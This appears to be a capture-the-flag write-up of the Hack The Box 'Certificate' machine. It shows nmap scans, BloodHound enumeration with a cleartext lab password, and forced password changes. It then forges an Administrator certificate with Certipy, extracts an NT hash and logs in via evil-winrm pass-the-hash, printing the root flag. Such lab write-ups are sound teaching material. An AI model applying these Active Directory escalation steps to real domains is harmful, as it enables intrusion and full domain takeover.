Certificate is a hard-difficulty machine from Hack The Box dealing initially with a vulnerable file upload by combining a malicious and a legit pdf to get user shell access. We’ll then do some credentials exfiltration to get access to database and then get the password for sara. We’ll then (unintended) force change password of lion.sk to get user flag and force change password of ryan.k which has SeManageVolumePrivilege privilege which we can abuse to get an administrator certificate to authenticate with. The intended solution includes gaining access to a pcap file and crack a kerberos hash to get lion’s password and then proceed.
PS C:\Users\0xkujen> nmap -A -Pn 10.10.11.71 --unprivileged Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-03 18:27 W. Central Africa Standard Time Nmap scan report for 10.10.11.71 Host is up (0.37s latency). Not shown: 987 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 80/tcp open http Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.0.30) |_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 |_http-title: Did not follow redirect to http://certificate.htb/ 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-06-04 01:27:29Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name) |_ssl-date: 2025-06-04T01:29:01+00:00; +7h59m22s from scanner time. | ssl-cert: Subject: commonName=DC01.certificate.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.certificate.htb | Not valid before: 2024-11-04T03:14:54 |_Not valid after: 2025-11-04T03:14:54 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=DC01.certificate.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.certificate.htb | Not valid before: 2024-11-04T03:14:54 |_Not valid after: 2025-11-04T03:14:54 |_ssl-date: 2025-06-04T01:29:00+00:00; +7h59m23s from scanner time. 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=DC01.certificate.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.certificate.htb | Not valid before: 2024-11-04T03:14:54 |_Not valid after: 2025-11-04T03:14:54 |_ssl-date: 2025-06-04T01:29:01+00:00; +7h59m23s from scanner time. 3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name) |_ssl-date: 2025-06-04T01:29:02+00:00; +7h59m23s from scanner time. | ssl-cert: Subject: commonName=DC01.certificate.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.certificate.htb | Not valid before: 2024-11-04T03:14:54 |_Not valid after: 2025-11-04T03:14:54 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found Service Info: Hosts: certificate.htb, DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 145.05 seconds PS C:\Users\0xkujen>
judging from the port 88 (kerberos) we can know that this machine is a domain controller.
This will be a quick writeup for the steps to do on web:
Create account
Go to /upload.php
run this to create a zip of a legit empty pdf zip random.zip legit.pdf
┌──(kali㉿kali)-[~/Desktop] └─$ bloodhound-python -c All -u sara.b -p 'Blink182' -d certificate.htb -ns 10.10.11.71 --zip --dns-timeout 100 INFO: Found AD domain: certificate.htb INFO: Getting TGT for user WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: [Errno Connection error (dc01.certificate.htb:88)] [Errno -2] Name or service not known INFO: Connecting to LDAP server: dc01.certificate.htb INFO: Found 1 domains INFO: Found 1 domains in the forest INFO: Found 3 computers INFO: Connecting to LDAP server: dc01.certificate.htb INFO: Found 22 users INFO: Found 58 groups INFO: Found 2 gpos INFO: Found 1 ous INFO: Found 19 containers INFO: Found 0 trusts INFO: Starting computer enumeration with 10 workers INFO: Querying computer: WS-05.certificate.htb INFO: Querying computer: WS-01.certificate.htb INFO: Querying computer: DC01.certificate.htb INFO: Done in 01M 51S INFO: Compressing output into 20250603172003_bloodhound.zip
THIS IS THE UNINTENDED SOLUTION We can see that sara can force change password for lion.sk, we can do that and log in to claim user flag:
User Name SID ================== ============================================= certificate\ryan.k S-1-5-21-515537669-4223687196-3249690583-1117
GROUP INFORMATION -----------------
Group Name Type SID Attributes ========================================== ================ ============================================= ================================================== Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group BUILTIN\Certificate Service DCOM Access Alias S-1-5-32-574 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group CERTIFICATE\Domain Storage Managers Group S-1-5-21-515537669-4223687196-3249690583-1118 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group Mandatory Label\Medium Mandatory Level Label S-1-16-8192
PRIVILEGES INFORMATION ----------------------
Privilege Name Description State ============================= ================================ ======= SeMachineAccountPrivilege Add workstations to domain Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeManageVolumePrivilege Perform volume maintenance tasks Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
USER CLAIMS INFORMATION -----------------------
User claims unknown.
Kerberos support for Dynamic Access Control on this device has been disabled.
We can use this to exploit SeManageVolumePrivilege privilege:
┌──(kali㉿kali)-[~] └─$ certipy-ad forge -ca-pfx certificate.pfx -upn [email protected] -subject 'CN=ADMINISTRATOR,CN=USERS,DC=CERTIFICATE,DC=HTB' Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Saved forged certificate and private key to 'administrator_forged.pfx' ┌──(kali㉿kali)-[~] └─$ certipy-ad auth -pfx administrator_forged.pfx -dc-ip 10.10.11.71 Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: [email protected] [*] Trying to get TGT... [*] Got TGT [*] Saved credential cache to 'administrator.ccache' [*] Trying to retrieve NT hashfor'administrator' [*] Got hashfor'[email protected]': aad3b435b51404eeaad3b435b51404ee:d804304519bf0143c14cbf1c024408c6 ┌──(kali㉿kali)-[~] └─$ evil-winrm -u administrator -i 10.10.11.71 -H d804304519bf0143c14cbf1c024408c6 Evil-WinRM shell v3.7 Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\Administrator\Documents> cat ../desktop/root.txt dee69e086d0d62df3123061fce89a05b *Evil-WinRM* PS C:\Users\Administrator\Documents>
And that was it for the unintended solution of Certificate. I honestly did not find time to upsolve it again :( Hope you learned something new ! -0xkujen